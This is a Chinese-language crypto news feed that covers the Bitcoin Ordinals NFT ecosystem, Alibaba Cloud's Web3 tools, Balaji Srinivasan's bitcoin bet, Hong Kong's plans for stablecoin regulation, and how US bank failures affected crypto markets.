的无限许可，对于想要交易数字艺术的普通非技术人员来说，使用复杂的智能合约可能很难与之交互。 TwelveFold 是 Yuga Labs 推出的一个比特币 NFT 项目，是一个由 300 件独特的生成艺术作品组成的系列。这些作品由团队使用 3D 建模和算法构造和高端渲染工具创建，含有 3D 及手绘元素，皆存储在 12 x 12 网格定位的 12 基础艺术系统。TwelveFold 使用了 Ordinals 协议，将每件作品刻入到比特币区块链上的一定数量的聪（satoshis）上，使其具有不可篡改和永久保存的特性。 TwelveFold 于 2023 年 3 月 4 日开始拍卖， 24 小时内结束，共筹集了 1650 万美元。拍卖采用了盲拍（blind auction）的方式，即参与者无法看到其他人出价多少，只能看到自己当前排名多少。最高出价为 10 BTC，最低出价为 0.01 BTC。拍卖结束后，前 288 名成功竞拍者将收到他们所购买的作品，并且可以在 Xverse 平台上展示或交易。 Bitcoin Punks 是一个模仿以太坊上的 CryptoPunks 的 NFT 项目，共有 10000 个不同的 8 位像素风格的人物头像，每个都具有独特的属性和稀缺性。Bitcoin Punks 于 2023 年 2 月 9 日在 Ordinals 协议上完成铸造，并在 Opensea 等平台上进行交易。 Bitcoin Punks 是第一个使用 Ordinals 将原始以太坊 CryptoPunks 成功上传到比特币区块链的项目，所有资产都已经由收藏家免费铸造。据其开发团队称，他们正在检查上传到 Ordinals 的每张图片的哈希值并将其与原始的 1 万枚 Crypto Punk 图片进行比较，指向 Bitcoin Punks 的链接必须是首次出现的铭文，其中还必须包含 Ordinals 协议上的对应哈希值。 3. Ordinal Punks Ordinal Punks 是向 CryptoPunks 致敬的独家收藏，CryptoPunks 是最初始的以太坊 NFT 系列之一。为了向 CryptoPunks 致敬，Ordinal Punks 是一种基于 BTC NFT 集合，它们是一种人物形象（PFP）藏品，有 100 种不同的样式。Ordinal Punks 是在比特币的前 650 个铭文中铸造的，是使用匿名 Web3 创建者 FlowStay 的开源算法创建的 192 × 192 像素图像。由于比特币的基础设施要求用户操作一个完整的比特币节点来制作铭文，因此 Ordinal Punks 的出价和询价都在 FlowStay 运行的 Google 表格上进行，社区实质上是使用项目创建者作为 Discord 上的托管人。dingaling 以 211 ETH 的价格购买了 7 个 Ordinal Punks。 4. Sats.id 项目介绍 Sats Names是一个使用Orinals协议为比特币定义域名的标准。目标是为比特币建立一个域名的生态系统，由比特币的爱好者建立，并完全基于比特币网络进行开发。该项目主要有以下三大目标： •所有的域名都会完全建立在比特币网络上 比特币网络上的交易，是注册和更新SAT域名所需的全部内容。一个比特币节点即可包含域名状态所需的所有信息。无需任何其他数据库或去中心化存储服务，任何客户端都可以独立计算所有域名的真实状态。 •该域名协议将会保持绝对的中立和可信 保持绝对的去中心化，没有人可以关闭该协议或阻止其他人注册域名，没有智能合约或具有特权访问的前端，没有tokenomics，没有提前预留，没有gas token，没有治理，没有任何激励。 •所有域名都将被第一个铸造者所持有和控制，域名将不会重复 例如，第一个铸造包含 "satoshi.sats "的inscription的用户拥有该域名和更新该域名的权利。该协议通过唯一性保证了第一个铸造人的权益。因为有了序号，任何人都可以写他们想要的任何数据，包括重复的名字，这将导致名称标准的碰撞和竞争性的出现。因此Sats.id协议提出了"First is First"的协议原则。 应用场景 •Nostr社交协议中，可以使用该域名作为自己的身份标识 •作为闪电网络的地址 •作为比特币网络的地址 •作为用户名登陆各种app •在比特币网络浏览器中可以进行快速查询 域名现状 截止比特币网络区块高度16826243为止： Sats.id域名 总交易数：66,210 独立域名数：54,134 独立铸造人数：29,106 产生的gas fee：131,773,878 sats Ordinals Bot Ordinals Bot是一款在 Ordinals 协议上铸造比特币 NFT 的工具，由 Ordinals 的创始人 Satoshibles 团队创建。该工具可免去用户在铸造比特币 NFT 时运行比特币节点的操作。用户进入官网后上传文件后，通过闪电网络或常规网络支付铸造费用，转账完成后即进行铸造。如果用户提供了 NFT 接收地址，NFT 将会自动发送给用户；如果用户未提供 NFT 接收地址，Ordinals Bot 将为其保留铭文，直到用户设置好为止。当用户设置好钱包后，只需访问订单检查工具即可添加地址并接收 NFT。 Gamma.io Stacks 上 NFT 市场 Gamma 原名 STXNFT，2022 年 4 月 27 日宣布更名为 Gamma。该平台旨在将收藏家、创作者和投资者聚集在比特币生态系统中探索、交易和展示 NFT。Gamma 平台由 NFT 市场、Launchpad 以及社交平台三个核心产品组成。Gamma.io 同时支持比特币 NFT 的一级市场和二级市场。Gamma.io 提供一种铸造方式，名为 Gamma bot。用户可以使用 Gamma bot 铸造自己的独特数字作品，收藏或出售。用户可以通过简单的命令来铸造 NFT，无需编码或技术知识：只需要在 Discord 上添加 Gamma bot，并输入 create 等命令，就可以创建一个 NFT。Gamma.io 还推出了一个.btc 域名市场，让用户可以拥有自己的去中心化身份和网站。在 Gamma.io 上注册、购买、出售和转移 .btc 域名，还可以将其与自己的 NFT 绑定。 ORDSWAP https://ordswap.io/ORDSWAP是一个构建在比特币网络上的Ordinals市场和钱包，可以在上面铸造、买卖ordinals铭文。网站提供了一个临时钱包，但是会把私钥直接保存在网页中，我不确定这样做是否安全。但是可以看得出来他们想做一个面向更多人的更易用的Ordinals基础设施。 Scarce City https://scarce.city/Scarce City并不是一个专门针对Ordinals的市场，是一个相对通用使用比特币技术的交易市场，以比特币出售比特币商品。支持托管的方式进行拍卖。 Ordinals directory https://ordinalsdirectory.com/仅仅提供了基础的铭文展示功能，交易功能需要调整到项目discord社区以P2P的方式进行，铭文铸造直接跳转到ordinalsbot.com。 OrdinalHub https://www.ordinalhub.com/OrdinalHub除了提供基本的铭文展示、项目展示页面之外，还提供了一个education页面，用于对Ordinals做一个科普。还提供了一个日历，用于提供接下来的项目发布。不过发布的项目真假难辨，而且ordinalhub网站本身也只提供了一个twitter，并没有社区入口。 ordinals.market Ordinals Market 是一个开放和去中心化的平台，任何人都可以在上面发布自己的作品或收藏别人的作品。Ordinals Market 也支持第三方应用程序和服务接入，提供更多的功能和体验。Ordinals Market 让用户可以用 ETH 来购买或出售 BTC NFT，也可以浏览和收藏各种有趣和独特的作品。Yuga Labs 推出的 TwelveFold 就在 Ordinals Market 中上架。Ordinals Market 通过 Emblem Vault （一种可以让 NFT 在不同链之间轻松交易的协议）链接到经过验证的 Opensea 列表，Ordinals Market 为用户提供所有合法的 Bitcoin Punk NFT，以避免被骗。 Twetch Twetch 是一个建立在 BSV 上的「Play to Earn」社交网络，允许用户通过发布内容赚钱。该平台还包括一个 NFT 市场、一个 BSV 钱包和其他几个功能，如聊天功能和工作板。随着 Ordinals 协议的兴起，Twetch 也开始支持 BTC NFT，目前他们打算将 Ordinals 生态系统整合到他们的基础设施中。 Twetch 还通过 Ordinals 协议在比特币区块链上铸造了一系列名为 Planetary Ordinals 的 NFT，这些 NFT 都是以行星为主题的艺术作品。 openordex OpenOrdex 是一个 Ordinals 去中心化交易平台，来自社区的开发者 Oren Yomtov 打造的极客项目，UI 风格十分硬核，已经陆续开发完成 Collection 展示等基础功能，值得一提的是，openordex 的中心化订单簿基于此前红极一时的 Web3 通讯协议 Nostr 开发。openordex 目前的版本仅支持比特币 cli 客户端的买卖操作（节点客户端命令行窗口），以及 Sparrow Wallet 客户端。 BTC上铭刻铭文（Inscrptions）是一个全新的生态系统，基础设施与工具都在迅速生长。钱包作为建构深度流动性市场的基础，将是市场基础的重点建构。新钱包的出现提高了铭文的便携性，从托管的角度来看，铭文可能比以太坊 NFT 更好更安全。铭文绑定到单个 satoshis，保管人不需要支持新的令牌标准。比特币托管人只需要提供 UTXO 级别的托管，就可以保障托管的铭文的安全性。但是，由于 Taproot 是一种更复杂的交易类型，一些用户可能更难在比特币区块链上创建和管理 NFT。 Inscrptions&OrdinalsEcosystemMap Ordinals Wallet Ordinals Wallet 是一款用于发送和接收 Ordinals 协议上的 BTC NFT 的浏览器的钱包，除基础的钱包功能外，还支持比特币 NFT 铭文浏览、检索、Collection 上传等功能，完成度较高，目前仍在不断更新中，包括提高传输效率、UI 优化、读取钱包余额等功能正在进行开发。 此外，Ordinals Wallet 还在 2 月 28 日进行了名为 Pixel Pepes 的 NFT 空投，总数 1563 枚，用户只需在钱包中进行一次交易即可获得空投，但目前该空投已经结束。 Sparrow Wallet Sparrow Wallet 是一个基于比特币的开源钱包，支持多种交易类型和硬件设备。Sparrow Wallet 也支持 Ordinals 协议，Ordinals 的创造者也曾极为推荐该钱包。用户可以用 Sparrow Wallet 来接收、管理和转移 BTC NFT。用户也可以用 Sparrow Wallet 来创造 NFT，只要有一个 Taproot（P2TR）账户，并且在一些支持 ordinals 的网站上进行操作即可。 Sparrow Wallet通过将一些数据（例如文本、图片或视频）刻入到一个聪（satoshis）上，并且使用 Taproot 签名方案来保证数据的完整性和不可篡改性。这样，每个聪就成为了一个独一无二的数字艺术品，也就是 BTC NFT。 Hiro Wallet Hiro Wallet 是一个基于 Stacks 链开发的钱包，主要用于管理 STX 代币。目前已经开始推出对比特币 NFT 的支持。浏览器扩展用户可以使用相同的密钥或硬件钱包设备从他们的 Hiro 钱包发送比特币，以跨帐户管理他们的 STX 和其他资产，用户可以在「余额」下查看他们的 BTC 持有量，还可以在「接收」下复制此地址，并很快显示用于存放 BTC NFT 的 Taproot 地址。Hiro Wallet 作为比特币生态钱包，拥有很多较为方便的内置功能，用户可以在 Hiro Wallet 内直接使用信用卡、借记卡甚至银行转账购买 STX，然后在钱包内直接参与质押。 目前该钱包支持 Chrome、Firefox、Brave 的浏览器拓展版本，以及 MacOS、Windows、Linux 系统的桌面端版本。随着对 Ordinals 的支持，用户通过将 Hiro Wallet 连接到 Gamma 等应用程序，可以支付新 BTC NFT 并将它们作为「收藏品」直接存入帐户。此外还可以分享 BTC NFT 个人画廊。 Xverse Xverse 是基于 Stack 的比特币非托管钱包，也是目前比特币 NFT 生态中最大的市场之一。 Xverse 可以让用户创建、发行、购买和出售各种类型的 NFT，包括艺术品、音乐、游戏、域名等 。Xverse 支持使用 STX 代币或者其他加密货币（如 BTC、ETH 等）进行交易，也支持使用 Hiro Wallet 或者其他钱包进行连接 。 现已加入对 Ordinals 协议的支持，支持 BTC NFT 的展示；同时 Xverse 现已支持对 Ordinals 的转账，相关功能仍在不断改进中。 Bitcoin.com Wallet 这是一款支持多种加密货币（包括 BTC）和 Satoshi Vision（SV）网络上铸造的 NFT（称为 BNT）的移动端钱包。该钱包也计划支持 Ordinals 协议上铸造的 BTC NFT，并提供相应的展示和交易功能，目前尚未推出支持 Ordinals 协议的功能。 据 Galaxy Digital 报告预测，2025 年基于铭文和序数的比特币 NFT 市场规模将达到 45 亿美元。铭文的快速出圈加上已经推出的市场/钱包基础设施是预测比特币 NFT 将在两年内达到 45 亿美元市值的关键因素。使用Ordinals所编码的NFT将BTC制作成为了“数字人工制品”，永久的保存在比特币本身。Ordinals的引入意味着存储的信息问题，对比特币生态的发展具有直接作用。整合Ordinals NFT对于网络交易的数据存储和成本提出了更高的要求，真正的交易空间会被Ordinals NFT挤压。存储内容的增加使区块增大了几倍，诚然如比特币社区争议所说，比特币本身的交易属性被侵占，流行的Ordinals NFT开启了全新纬度叙事。 在未来的比特币生态中，随着Ordinals NFT的增长，进一步扩展到主流NFT文化，如PFP 、memes和公用事业项目，将快速推进市场和钱包等基础设施的构建出现。这将催生一大批应用工具的产生，全新的叙事生态带来市场份额的扩张。 比特币网络NFT相关的基础设置目前处于极早期，铸造时不能像以太坊网络一样方便简单，需要学习创建不同形式的钱包，区分不同形式的付款方式，还需要同步比特币网络全节点才可以参与铸造基于Ordinals协议的NFT。交易时也并没有如Opensea一样方便安全的点对点交易工具，而是使用共享电子表格更新订单簿，销售行为仅可通过场外交易或者托管完成。不可避免的涉及到欺骗行为。 Bitcoin Punks能快速被铸造完毕得益于社区成员开发构建的全节点Bot。如果个人完成同步全节点用时巨长，非一朝一夕能完成的。如下图为社区成员在同步比特币网络全节点的案例。但当前因为铸造方式为订单号模式，用户无法知晓某一序数是否已经成功上链，导致使用全节点Bot时即使铸造不成功的同时却收取用户费用，给部分用户造成了使用门槛。 Ordinal协议推出后，比特币日平均区块大小达到2,021,079.56，创3年来新高。2月7日比特币矿企Riot Platforms研究副总裁Pierre Rochard发推文称，比特币网络NFT协议Ordinal的铭文（Inscriptions）正在消耗50%的比特币区块空间，区块空间利用率为100%，费率中位数下降。 因此，对于基于Ordinal协议在比特币网络上发行NFT比特币社区存在分歧。一些人认为它将为比特币提供更多的金融用例，这将推动对区块空间的需求从而提高费用。如比特币教育家Dan Held认为随着区块奖励数额越来越小，矿工将越来越依赖交易费。如果Ordinals确实加剧了对区块空间的竞争，那么更高的交易费用可能会让矿工继续保护比特币网络。 而另一些人则认为它偏离了中本聪将比特币视为点对点现金系统的愿景，且这些类似NFT的结构已经占用了比特币网络上的区块空间，这可能会推高交易费用。如2010年中本聪就曾否决对于扩展比特币系统的想法，称“将世界上每个工作量证明仲裁系统都堆放在一个数据集中是无法扩展的。”以下这些作为比特币发行NFT的争议点，同样值得我们关注并持续解决。 违背BTC发行初衷：一些比特币持有者认为，比特币存在是为了成为“点对点电子现金系统”，收藏BTC铭文牺牲了比特币本身的金融属性，对于比特币的发展是偏离市场的。 铭文数据的污染：许多运营商节点并不热衷于下载其他额外附送的数据，在节点下载的必经之路上，铭文的存在显然对一些节点来说是附加的困扰。 市场活跃的数据冗余：比特币NFT成为流行之后，添加 NFT 数据会占用比特币区块链数据库中的空间。 流行对于价格的干扰：如果比特币 NFT 变得流行，它们在比特币区块链上占用的空间量可能会推高比特币交易的价格。这将对发展中国家的用户造成最大伤害，而这些用户正是目前最需要去中心化资金的用户。在未来假如发送比特币的用户将高昂的交易费用，这在许多低收入国家是一笔不小的费用。 对此，PANews认为当前许多用户进去区块链、进入Web3并非因为比特币，因此对比特币系统知之甚少，有大量的用户从未使用过比特币钱包，从未使用过比特币转账，也并不知道比特币全节点、闪电网络等为何物。无论是Nostr社交协议，还是Ordinals协议的推出，都增加了比特币网络上的应用场景，引导更多用户开始了解并认识比特币生态，从而让更多用户开始使用比特币。因此，比特币网络开放发展，多方位尝试并非坏事。至于其如何发展、是好是坏自交易由市场自由博弈和判定。相信在未来，市场的发展将会有更多的声音和趋势出现，比特币上的Ordinals NFT将开启全新的叙事，市场的各方生长和发展方向都令人充满兴趣。 对于比特币网络NFT相关的基础设施，随着财富效应和用户量增大，生态产品之间不断竞争，都会逐步构建完善。当前我们可做的是，多分一份精力关注比特币网络生态发展。同时，需要注意的是，当前比特币网络上的NFT项目处于混乱状态，草创项目居多，属于沙里淘金，用户在其中寻找商机时需认真尽调，避免资产损失。 https://mirror.xyz/quentangle.eth/zRV-TCg62FGhee89fTgAYUqywcc6x9wpTG6gVdMrEp0 https://academy.binance.com/zh/articles/what-is-taproot-and-how-it-will-benefit-bitcoin https://www.forbes.com/sites/forbesdigitalcovers/2018/07/16/100m-magic-why-bruno-mars-and-other-stars-are-ditching-their-managers/?sh=5c4b370125b5 https://dune.com/domo/ordinals-sats-names https://foresightnews.pro/article/detail/27917 https://www.8btc.com/media/6808192 https://www.galaxy.com/research/whitepapers/bitcoin-ordinals-inscriptions-5-billion-nft-market/ https://dune.com/dgtl_assets/bitcoin-ordinals-analysis We use ChatGPT to generate a part of the content.  ( 9 min )
    阿里云将于4月推出一系列开箱即用的Web3安全工具
    PANews 3月20日消息，据官方消息，阿里云在香港举办的2WEB3 FEST峰会上宣布将于4月推出一系列开箱即用的Web3安全工具。该Web3安全工具可供开发者与企业用于私钥管理、风险评估、交易审查、合规和用户认证等安全场景，这些工具包括多方安全计算（MPC）、身份验证（KYC）与反洗钱（AML）服务，有助于帮助Web3开发者保护资料、节省人力成本并提高营运效率。阿里云还将于今年为香港Web3开发者提供区块链节点服务。 此外，阿里云还分别与Web3教育平台和社区Blockchain Academy以及区块链基础设施解决方案提供商NodeReal合作构建香港的 Web3 生态系统，与Blockchain Academy合作建立新的Web3社区，通过举办区块链教育活动和竞赛，为年轻人与初创企业提供学习、工作和业务机遇等；NodeReal将在阿里云平台上构建节点，为阿里云用户提供区块链服务。  ( 4 min )
    Coinbase前CTO为何公开押注，比特币将在3个月飙升至100万美元？
    作者：André Beganski, Decrypt 编译：Felix, PANews Coinbase前首席技术官Balaji Srinivasan上周五打赌，比特币价格将受益于未来三个月美元的快速贬值，到6月17日将飙升至100万美元。Balaji在同一天与两个人打赌，与金融专家James Medlock和另一个匿名人士一起支付100万美元。如果比特币未升至100万美元，两人将各自获得价值100万美元的USDC。 Balaji认为全球经济处在快速变化的临界点，他称之为“超级比特币化”。他预测美元将进入快速恶性通货膨胀，然后全球经济会进入将比特币重新命名为“数字黄金”的时代。 就目前行情而言，根据CoinGecko数据显示，如果上涨至100万美元，比特币的市值将从目前的约5490亿美元升至约19.3万亿美元。相比之下，根据Siblis Research公布的数据显示，截至去年年底，美国股市的市值刚刚超过40.5万亿美元。 Balaji的预测是在美国一系列银行倒闭，给金融市场注入恐惧和不确定性的背景下做出的。尽管比特币与标准普尔500指数和纳斯达克指数等股指的相关性仍然显著，但鉴于比特币最近随着华尔街的动摇而飙升至28000美元以上，推特上的一些人将其称为“伟大的脱钩”。 这一大胆的赌注引发了一些加密KOL热议，包括比特币教育家Jimmy Song和风险投资家Adam Cochran，他们深入分析了该预测的现实性。 参考2020年“新冠”肆虐期间加密货币的表现，Cochran表示，比特币需要比这更极端的催化剂，才能超过2020年至2022年547%的涨幅。 Cochran认为，美国和欧洲银行系统的崩溃最终将掩盖比特币作为一种资产的潜在价值，因为把钱用于购买食物、生活燃品等更佳。 他表示：“简而言之，当我们怀疑经济系统的盈利能力而不是系统的存在时，价值存储或替代资产表现良好，如果系统不存在，我们就会降低需求，将资金用于购置生活必需品，而不是贵重物品上”。 Cochran表示，Balaji的赌注是在加密市场进入寒冬之后，去年加密寒冬来临，当时价格暴跌，许多加密公司倒闭，之后该行业发展举步维艰，加密行业内的很多人失去了对未来的希望，所以人们“渴望行情好转”。他表示：“看到加密行业在如此危险的宏观环境中被不切实际的赌注所推动，很令人失望。” 但Jimmy Song等其他声音似乎支持Balaji的赌注，声称比特币可以在如今金融体系的危机中发挥一些作用。 他说：“比特币将在减轻一些灾难性影响方面发挥关键作用，作为一种严格限制的货币，比特币提供了更好的价值存储，抑制了恶性通货膨胀的影响。” 彭博社的Matt Levine随后问了一个直截了当的问题：如果Balaji认为比特币将在90天内达到100万美元，他为什么要用这笔钱来押注而不是购买比特币？ Matt Levine在随后的推文中表示，根据他收到的回复，Balaji的举动可能是试图“操纵Bitcoin的价格上涨”。其他人表示，Balaji本可以下赌注，但却以此来增加自己和比特币的曝光度。 据Datawallet称，Balaji的净资产估计约为1.5亿美元。他与别人共同创立的一家名为Earn.com的公司，该公司为完成小任务的用户提供数字资产奖励，在被Coinbase收购后，他加入了Coinbase。Balaji在Coinbase工作了大约14个月，然后于2019年5月离开。在他的LinkedIn个人资料中列出的成就中，他负责组织USDC稳定币发布的“业务和技术方面”工作。 Balaji并不是唯一一个设想比特币价格将涨至100万美元的人。去年1月，Cathie Wood的ARK Invest预估比特币到2030年可能超过100万美元，称Bitcoin网络“可能会随着主权国家采用Bitcoin作为法定货币而扩大规模。”  ( 4 min )
    港财库局许正宇：正研究“稳定币”监管制度，拟在2024年实施相关监管
    PANews 3月20日消息，香港特区政府财经事务及库务局局长许正宇在Aspen Digital Web 3投资峰会上表示，截至2023年2月底，投资推广署已收到超过80家与虚拟资产相关的内地和外国公司表示有意在香港设立业务。这些公司包括虚拟资产交易所、区块链基础设施公司、区块链网络安全公司、虚拟货币钱包和支付公司，以及其他构建Web3生态的项目。他们主要询问了政策声明的实施细节、监管要求、人才入境的签证要求、对VA和Web3领域的针对性支持措施等，并探讨了在香港设立企业的可行性。 截至2023年2月底，共有23家来自内地、加拿大、欧盟(欧盟)国家、新加坡、英国(联合王国)及美国(美国)的公司向投资推广署表示计划在香港设立办事处。业务领域包括虚拟资产交易、区块链基础设施、区块链网络安全等。 此外，许正宇还表示：“香港金融管理局正在研究“稳定币”的监管制度，目标是在2024年实施相关监管。”  ( 4 min )
    美国加密友好银行接连倒闭，对加密市场产生了哪些影响？
    作者：Daniel Li，CoinVoice 在过去的一周内，频发的银行暴雷事件，让我们再次感受了资本的风险和破坏力，在人们正在担忧雷曼兄弟破产危机会再次重演时，美联储和财政部的紧急入场救市，将这场即将引爆全球金融市场的大火扑灭了。当我们开始回过头来去看整个事件时，我们会发现此次暴雷的几家银行基本都涉及加密业务，这似乎是专门针对加密友好银行的一次「清扫」行动。 2022年是加密行业最为动荡的一年，多家中心化加密机构的频繁暴雷也让美国监管部门意识到了加密行业的风险性不仅仅只是针对加密行业本身，与加密行业关联密切的银行业也会受到来之加密行业的威胁。尤其是FTX事件后，让美国监管层下定了决心，要让加密行业与银行系统进行隔离。美国监管部门通过不断向银行施压，迫使银行放弃加密业务，从而达到让加密行业与银行系统隔离的目的。 为此，早今年1月份，美国三个银行业监管部门，美联储、货币监理署（OCC）和联邦存款保险公司（FDIC）就联合发表了一份声明，希望银行最好不要参与加密相关业务，并且严格审查各项业务的合规性。到了2月份，美国顶级银行监管机构又向银行发出新的警告，要求银行警惕来自加密货币相关客户的任何流动性风险，并称一些来自加密货币相关客户的存款可能被证明是不稳定的，可以看出，美国对于银行施压越来越明显。 在此背景下，一些银行陆续选择了退出加密市场，如摩根大通银行3月初宣布断绝与加密货币交易所 Gemini 的关系，Moonstone Bank也宣布不再为加密行业提供服务等等。美国对于银行的施压，更多是停留在警告上，目前尚未出台明确禁止银行从事加密业务的相关法律条例，这也让一些抱有侥幸心理的银行选择了继续开展加密业务。除此外，还有一些因为债务问题，深陷加密市场难以脱身的银行，Silvergate就是其中的代表。 Silvergate Bank是Silvergate Capital (SI)旗下的银行，也是全美最友好的加密银行之一。Silvergate不仅接受加密交易平台和交易者的存款，还建立了自己的加密结算支付网络——SEN（Silvergate Exchange Network）。SEN是专为加密货币交易平台和投资者设计的网络，使投资者可以直接使用美元购买加密资产，并且能够在 SEN参与者之间全天候高效流动。由于其友好的加密市场姿态，Silvergate在过去五年中吸引了大量来自加密市场的存款，股票也因此实现了翻倍。 然而，FTX的突然暴雷导致Silvergate陷入了死亡螺旋，不仅给Silvergate造成了超过80亿美元的损失，还引发了加密市场的惊慌，导致大量加密投资机构和投资者涌向Silvergate提取存款，这使得Silvergate的金库很快耗尽，无法再维持正常的运营。此外，美国监管机构一直坚持认为银行不应涉足加密货币业务。在FTX事件之后，美国开始对涉及加密业务的银行进行大规模清查行动，这也给Silvergate带来了极大的压力，最终在这些因素共同作用下导致Silvergate在3月8日选择了破产。 Signature Bank被强势关闭 与Silvergate相比，Signature Bank（SBNY）在加密市场的业务相对更为保守。如果说 Silvergate Bank 是风险偏好激进的“坏学生”，那么SBNY可以被认为是恪守监管的”好孩子“，SBNY并没有投资、持有或托管加密货币的业务，也不提供以加密货币为抵押的贷款业务，仅提供美元存款服务，并且在美国监管部门发布银行业不要涉及加密业务声明后，SBNY的管理层也在积极主动降低加密存款占比。据SBNY 披露的 23 年一季报财务数据来看，SBNY 全部客户存款为8.26 亿美元，其中加密用户的存款约为 1.44 亿美元，仅占总存款的17.43%。此外，SBNY 短期投资额为17.4 亿美元，占比为 14.98%。综合来看，即使全部加密存款被提取出来，SBNY仍然具备足够的流动性。 SBNY本身因为加密市场动荡陷入流动性危机的可能性非常低。但是，Silvergate事件已经让美国监管部门看到了加密友好银行背后潜在风险。尤其是在美元不断加息的背景下，这一潜在的风险可能会引发整个金融市场的危机。所以即便SBNY不存在发生流动性危机的可能性，监管部门为了防范未来也要将其关闭，SBNY被强制关闭无疑是美国监管部门在向市场展示隔离银行和加密行业的决心。 硅谷银行流动性困境导致破产 硅谷银行同样也是一家对加密市场友好的银行，但与前两家银行破产（SBNY关闭）的原因不同，硅谷银行的破产与加密市场没有直接关系，硅谷银行破产主要由于疫情后银行将资金大规模投入长期国债与MBS，而美联储加息导致其储户筹集资金更为困难、储户提取存款行为加剧，同时加息周期也导致其自身证券投资出现大幅损失，储户挤兑后陷入流动性困境所致。 硅谷银行的遭遇并非是个例，在当下美国众多中小银行也在经历同样的困境，一方面是加息背景下投资收益锐减，另一方面是经济不景气吸纳存款对银行来说变得越来越困难，并且还要面临随时可能会出现的大规模挤兑风潮，这时候一旦有一家规模较大的银行倒闭，引发市场恐慌情绪，那么美国大量的中小银行都有可能面临倒闭。 为了避免今后可能出现的银行大面积倒闭情况。美国政府针对银行系统中存在的潜在风险进行了提前的清理。加密银行连接传统传统金融和加密市场，在美联储加息和加密市场去杠杆的双重影响下，其脆弱性最为凸显。因此在此次美国银行审查行动中受到了特别关注。这也是为什么最近倒闭的三家银行都和加密行业有关。可以预见未来的一段时间，在美涉及加密业务的银行都会遭到来时美国监管部门的审查，一旦发现有违规的地方，其涉及加密市场的业务都有可能遭遇关停。这对于整个加密市场来说是一次不小的打击。 在硅谷银行等加密友好银行宣布倒闭当周，这场由资产错配导致的银行流动性危机，也迅速蔓延到了整个加密市场，导致加密市场就出现了恐慌性的暴跌，再度重现了当年312史诗级的暴跌，总市值跌破万亿美元大关，比特币（BTC）一度跌破2万美元。而作为加密市场与传统金融市场的交叉连接点之一，稳定币市场首当其冲，受到的影响最直接也最严重。 稳定币信任危机 稳定币是加密货币的一种，可以通过锚定法币的手段来维持币价的相对稳定。USDC就是通过与美元1：1锚定的来维持价格的稳定，其价格通常在1美元左右，但此次硅谷等加密友好银行的倒闭，却让稳定不变得不再稳定了。 稳定币市一直都是加密市场的关键支柱，完全由现金储备和短期国债支持。作为USDC稳定币的发行方，Circle原本只需要将美元放在利息大于0的地方，保证人们能够1：1地赎回即可，然而它将钱存入了硅谷银行，这也是引发此次稳定币风波的源头。据Circle透露，其400亿美元的USDC储备中有33亿美元存在了硅谷银行，因此，当硅谷银行传出破产消息后，投资者开始对USDC稳定性产生了担忧，加上市场恐慌情绪持续上升，导致USDC出现了脱锚情况，从短时间脱锚跌至0.98美元区间进一步加剧跌至0.88美元，24小时跌幅超过11.4%。 不过这场由硅谷银行倒闭引发的稳定币风波并未持续多久，随着美国监管机构救市措施的落实，硅谷银行所有储户的存款恢复取款。USDC的价格也在逐渐恢复，截止目前,CoinmarketCap平台显示1USDC=0.9968$，基本恢复了与美元的锚定。 加密行业陷入法币流动性危机 此次美国针对加密友好银行的清扫行动中，短短一周内，已有三家银行倒闭或关闭，其中包括Silvergate和SBNY银行，它们分别经营着Silvergate交易网络（SEN）和Signet网络。这些网络在加密业务和传统银行系统之间的连接方面发挥着至关重要的作用。尤其是SEN交易网络，其交易量在2021年整年达到近乎8000亿美元，几乎所有基于美国的主要加密货币交易所都成为Silvergate的客户，随着两家银行的倒闭或关闭，这些对于加密行业至关重要的网络也要随着关闭，这势必会对加密行业的法币流动性造成巨大的冲击。 加密行业流动性问题一直是一个挑战。加密货币交易的本质是P2P（点对点）的，而不像传统的金融市场那样集中在一个中央交易所。这意味着交易量可能分散在多个市场上，流动性有限，这可能导致价格波动和交易成本增加。因此加密行业需要通过外部来增加其流动性，而银行无疑是最合适的选择，通过银行用户的资金可以直接进入到加密市场，在这个过程中也会给银行带来了资金和流量，这种合作对双方彼此都有好处。但目前美国监管部门对涉及加密业务银行的审查正在阻碍这一合作，一方面原来的加密友好银行在逐渐减少，另一方面开发与新的银行合作对于加密行业也越来越困难，在目前市场没有新的银行入局之前，加密行业法币的流动性将会受到严重的限制。 此外，如果美国对于涉及加密业务银行的审查成为长期趋势，那么未来美国市场的用户购买加密货币或许只能通过OTC（场外交易）进行交易，没有了银行作为中介，那无疑是将风险转嫁给了用户，风险性和复杂性也会导致一部分用户选择放弃进入加密市场，进而影响到加密市场的流动性。 每次危机对于行业来说都是一次发现自身问题和补足短板的时候，这次加密友好银行的倒闭潮，无论是对于传统银行业还是加密行业来说，都是一个值得反思的机会。 建立行业监管政策和危机处理机制 通过此次的危机让我们看到了传统的银行系统因为有监管层的保护，可以在危机发生的时候，将损失降低到最低，就像此次硅谷银行，全美排名16的银行，因为有了美国政府的托底政策，所以可以在危机爆发后，短短的一周内就能迅速得到了控制，没有波及到整个银行系统。但同样的事情如果发生在加密行业却截然相反，加密行业没有任何经验和监管政策，一旦危机发生，大家只会各顾各的，没有统一的监管政策和危机处理措施，会让加密行业更容易遭受风险。 所以通过此次危机，加密行业应该尽快努力建立起自身的行业规范和危机处理机制，以保障市场的稳定和可持续发展，增强行业的抗风险能力，并保护投资者的利益，这就需要加密行业和政府监管机构合作，共同推动建立健全的监管体系和危机处理机制。 加密行业需要建立真正的稳定币 稳定币分为中心化稳定币和去中心化稳定币。在硅谷银行倒闭导致USDC稳定币短暂脱锚事件中，USDC便是中心化稳定币。历史上，中心化稳定币也曾多次出现与美元脱锚的情况，甚至包括稳定币龙头USDT。因此，当类似事件再次发生时，对于外部依赖性少的去中心化稳定币再次获得了关注。 中心化稳定币通常是选择与法币进行锚定，通过在银行存入一定数量的法定货币，来确保其稳定币的价格。所以中心化的稳定币需要和银行合作，而美国此次针对加密友好银行的审查行动，无疑给中心化稳定币的发展蒙上了阴影，虽然USDC经过短暂的脱锚恢复正常，但只要美国针对加密友好银行的审查行动还继续下去，那么USDC脱锚的情况还会再次出现。 与中心化稳定币相比，去中心化稳定币不需要跟银行绑定因为它们是基于区块链技术构建的数字货币，没有中央银行或政府的支持，也没有传统金融机构的参与，这些稳定币通常使用算法或抵押其他加密货币来保持其价格稳定。此外，相较于依赖法币信用与银行稳定性的中心化稳定币，去中心化稳定币在资产透明性和设计灵活性方面表现更为优异，最小程度的外部依赖性和最大限度的透明性使得去中心化稳定币在当下背景更具吸引力。 